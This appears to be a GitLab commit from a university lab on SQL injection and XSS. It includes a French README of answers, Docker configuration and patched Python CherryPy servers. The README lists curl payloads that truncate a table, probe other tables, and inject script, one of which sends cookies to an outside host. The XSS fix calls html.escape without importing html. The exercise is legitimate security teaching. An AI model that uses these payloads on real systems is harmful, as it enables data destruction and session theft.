Skip to content
Snippets Groups Projects
Commit 255ccf20 authored by SelimLakhdar&MohamedAbdullah's avatar SelimLakhdar&MohamedAbdullah
Browse files

WIP

parent 770cab32
Branches
No related tags found
No related merge requests found
......@@ -3,7 +3,7 @@ db:
up: db
sleep 10
docker-compose -f ./deployments/docker-compose.yml up -d web
docker-compose -f ./deployments/docker-compose.yml up -d web web2
down:
docker-compose -f ./deployments/docker-compose.yml down
File moved
# set base image (host OS)
FROM python
# set the working directory in the container
WORKDIR /app
# copy the content of the local src directory to the working directory
COPY . .
# install dependencies
RUN pip install -r requirements.txt
# command to run on container start
CMD [ "python3", "server_correct.py" ]
# set base image (host OS)
FROM python
# set the working directory in the container
WORKDIR /app
# copy the content of the local src directory to the working directory
COPY . .
# install dependencies
RUN pip install -r requirements.txt
# command to run on container start
CMD [ "python3", "server_xss.py" ]
......@@ -30,7 +30,7 @@ services:
restart: always
build:
context: ..
dockerfile: /home/ubuntu/TPs/isi-tp2/deployments/Dockerfile
dockerfile: /home/ubuntu/isi-tp2-injection/deployments/Dockerfile.server
restart: always
ports:
- "8080:8080"
......@@ -40,6 +40,36 @@ services:
isi:
ipv4_address: "10.1.0.3"
web2:
image: isi2_web_correct:0.1.0
restart: always
build:
context: ..
dockerfile: /home/ubuntu/isi-tp2-injection/deployments/Dockerfile.server_correct
restart: always
ports:
- "8081:8081"
depends_on:
- db
networks:
isi:
ipv4_address: "10.1.0.5"
web3:
image: isi2_web_xss:0.1.0
restart: always
build:
context: ..
dockerfile: /home/ubuntu/isi-tp2-injection/deployments/Dockerfile.server_xss
restart: always
ports:
- "8082:8082"
depends_on:
- db
networks:
isi:
ipv4_address: "10.1.0.5"
adminer:
image: adminer
restart: always
......
......@@ -2,53 +2,64 @@
## Binome
Nom, Prénom, email: ___
Nom, Prénom, email: ___
- ABDULLAH Mohamed <mohamad.abdullah.etu@univ-lille.fr>
- LAKHDAR Selim <selim.lakhdar.etu@univ-lille.fr>
## Question 1
* Le mécanisme utilisé est un controle grâce à une regex. On ne peut entrer que des chiffres ou des lettres.
* Oui, car on ne peut pas échapper les chaines de caractères.
* Revoir avec la commande curl
* Non, car le côntrole est effectué côté client. Il suffit de désactiver les scripts JS.
## Question 2
* Votre commande curl
* Commande curl qui bypass la vérification
- curl -X POST -d "chaine=Mohamed" http://172.28.101.47:8080/
- curl -X POST -d "chaine=Mohamed@Selim" http://172.28.101.47:8080/
## Question 3
* Votre commande curl pour effacer la table
* Votre commande curl pour effacer la table (V1)
- curl -X POST -d "chaine=%22%29%3B+TRUNCATE+TABLE+chaines%3B--" http://172.28.101.47:8080/
- curl -X POST -d 'chaine=");+TRUNCATE+TABLE+chaines%3B--' http://172.28.101.47:8080/
* Expliquez comment obtenir des informations sur une autre table
* commande pour bypass le champ who
curl -X POST -d "chaine=%22%29%3B+SELECT+@@version%3B" http://172.28.101.47:8080/
- curl -X POST -d "chaine=hacked','000000')#" http://172.28.101.47:8080/
* Expliquez comment obtenir des informations sur une autre table
- Les informations sur les tables d'une DB sont stockées dans la table information_schema.
- curl -X POST -d "chaine=hacked','000000')+AND+SELECT+*+FROM+chaines2#" http://172.28.101.47:8080/
- curl -X POST -d "chaine=<script>alert('bonjour')</script>" http://172.28.101.47:8080/
- curl -X POST -d "chaine=%3Cscript%3Ealert%28%27bonjour%27%29%3C%2Fscript%3E" http://172.28.101.47:8080/
## Question 4
Rendre un fichier server_correct.py avec la correction de la faille de
sécurité. Expliquez comment vous avez corrigé la faille.
Rendre un fichier server_correct.py avec la correction de la faille de sécurité. Expliquez comment vous avez corrigé la faille.
- Il faut utiliser des rêquetes préparées.
- Grâce à la fonction cursor.execute(requete, [post["chaine"], cherrypy.request.remote.ip])
## Question 5
* Commande curl pour afficher une fenetre de dialog.
- curl -X POST -d "chaine=<script>alert('bonjour')</script>" http://172.28.101.47:8080/
* Commande curl pour lire les cookies
- curl -X POST -d "chaine=<script>alert(document.cookie)</script>" http://172.28.101.47:8080/
- curl -X POST -d "chaine=<script>document.cookie="TOKEN=SECRET"</script>" http://172.28.101.47:8080/
- curl -X POST -d "chaine=<script>document.write('<img src=http://172.28.101.111:6666?c='+ escape(document.cookie) + '>');</script>" http://172.28.101.47:8080
## Question 6
Rendre un fichier server_xss.py avec la correction de la
faille. Expliquez la demarche que vous avez suivi.
Rendre un fichier server_xss.py avec la correction de la faille. Expliquez la demarche que vous avez suivi.
- Il faut utiliser échapper les caractères spéciaux grâce à html.escape()
#!/usr/bin/env python3
import mysql.connector
import cherrypy
import config
class VulnerableApp(object):
def __init__(self):
self.conn = mysql.connector.connect(host=config.DB_HOST, user=config.DB_USER, database=config.DB_NAME, password=config.DB_PASS)
@cherrypy.expose
def index(self, **post):
cursor = self.conn.cursor(prepared=True)
if cherrypy.request.method == "POST":
requete = """INSERT INTO chaines (txt,who) VALUES (%s,%s)"""
print("req: [" + requete + "]")
cursor.execute(requete, [post["chaine"], cherrypy.request.remote.ip])
self.conn.commit()
chaines = []
cursor.execute("SELECT txt,who FROM chaines");
for row in cursor.fetchall():
chaines.append(row[0] + " envoye par: " + row[1])
cursor.close()
return '''
<html>
<head>
<title>Application Python Vulnerable</title>
</head>
<body>
<p>
Bonjour, je suis une application vulnerable qui sert a inserer des chaines dans une base de données MySQL!
</p>
<p>
Liste des chaines actuellement insérées:
<ul>
'''+"\n".join(["<li>" + s + "</li>" for s in chaines])+'''
</ul>
</p>
<p> Inserer une chaine:
<form method="post" onsubmit="return validate()">
<input type="text" name="chaine" id="chaine" value="" />
<br />
<input type="submit" name="submit" value="OK" />
</form>
<script>
function validate() {
var regex = /^[a-zA-Z0-9]+$/;
var chaine = document.getElementById('chaine').value;
console.log(regex.test(chaine));
if (!regex.test(chaine)) {
alert("Veuillez entrer une chaine avec uniquement des lettres et des chiffres");
return false;
}
return true;
}
</script>
</p>
</body>
</html>
'''
cherrypy.quickstart(VulnerableApp(), '/', {'global': {'server.socket_host':'0.0.0.0','server.socket_port': 8081}})
#!/usr/bin/env python3
import mysql.connector
import cherrypy
import config
class VulnerableApp(object):
def __init__(self):
self.conn = mysql.connector.connect(host=config.DB_HOST, user=config.DB_USER, database=config.DB_NAME, password=config.DB_PASS)
@cherrypy.expose
def index(self, **post):
cursor = self.conn.cursor(prepared=True)
if cherrypy.request.method == "POST":
requete = """INSERT INTO chaines (txt,who) VALUES (%s,%s)"""
print("req: [" + requete + "]")
cursor.execute(requete, [post["chaine"], cherrypy.request.remote.ip])
self.conn.commit()
chaines = []
cursor.execute("SELECT txt,who FROM chaines");
for row in cursor.fetchall():
chaines.append(html.escape(row[0]) + " envoye par: " + row[1])
cursor.close()
return '''
<html>
<head>
<title>Application Python Vulnerable</title>
</head>
<body>
<p>
Bonjour, je suis une application vulnerable qui sert a inserer des chaines dans une base de données MySQL!
</p>
<p>
Liste des chaines actuellement insérées:
<ul>
'''+"\n".join(["<li>" + s + "</li>" for s in chaines])+'''
</ul>
</p>
<p> Inserer une chaine:
<form method="post" onsubmit="return validate()">
<input type="text" name="chaine" id="chaine" value="" />
<br />
<input type="submit" name="submit" value="OK" />
</form>
<script>
function validate() {
var regex = /^[a-zA-Z0-9]+$/;
var chaine = document.getElementById('chaine').value;
console.log(regex.test(chaine));
if (!regex.test(chaine)) {
alert("Veuillez entrer une chaine avec uniquement des lettres et des chiffres");
return false;
}
return true;
}
</script>
</p>
</body>
</html>
'''
cherrypy.quickstart(VulnerableApp(), '/', {'global': {'server.socket_host':'0.0.0.0','server.socket_port': 8082}})
0% Loading or .
You are about to add 0 people to the discussion. Proceed with caution.
Please register or to comment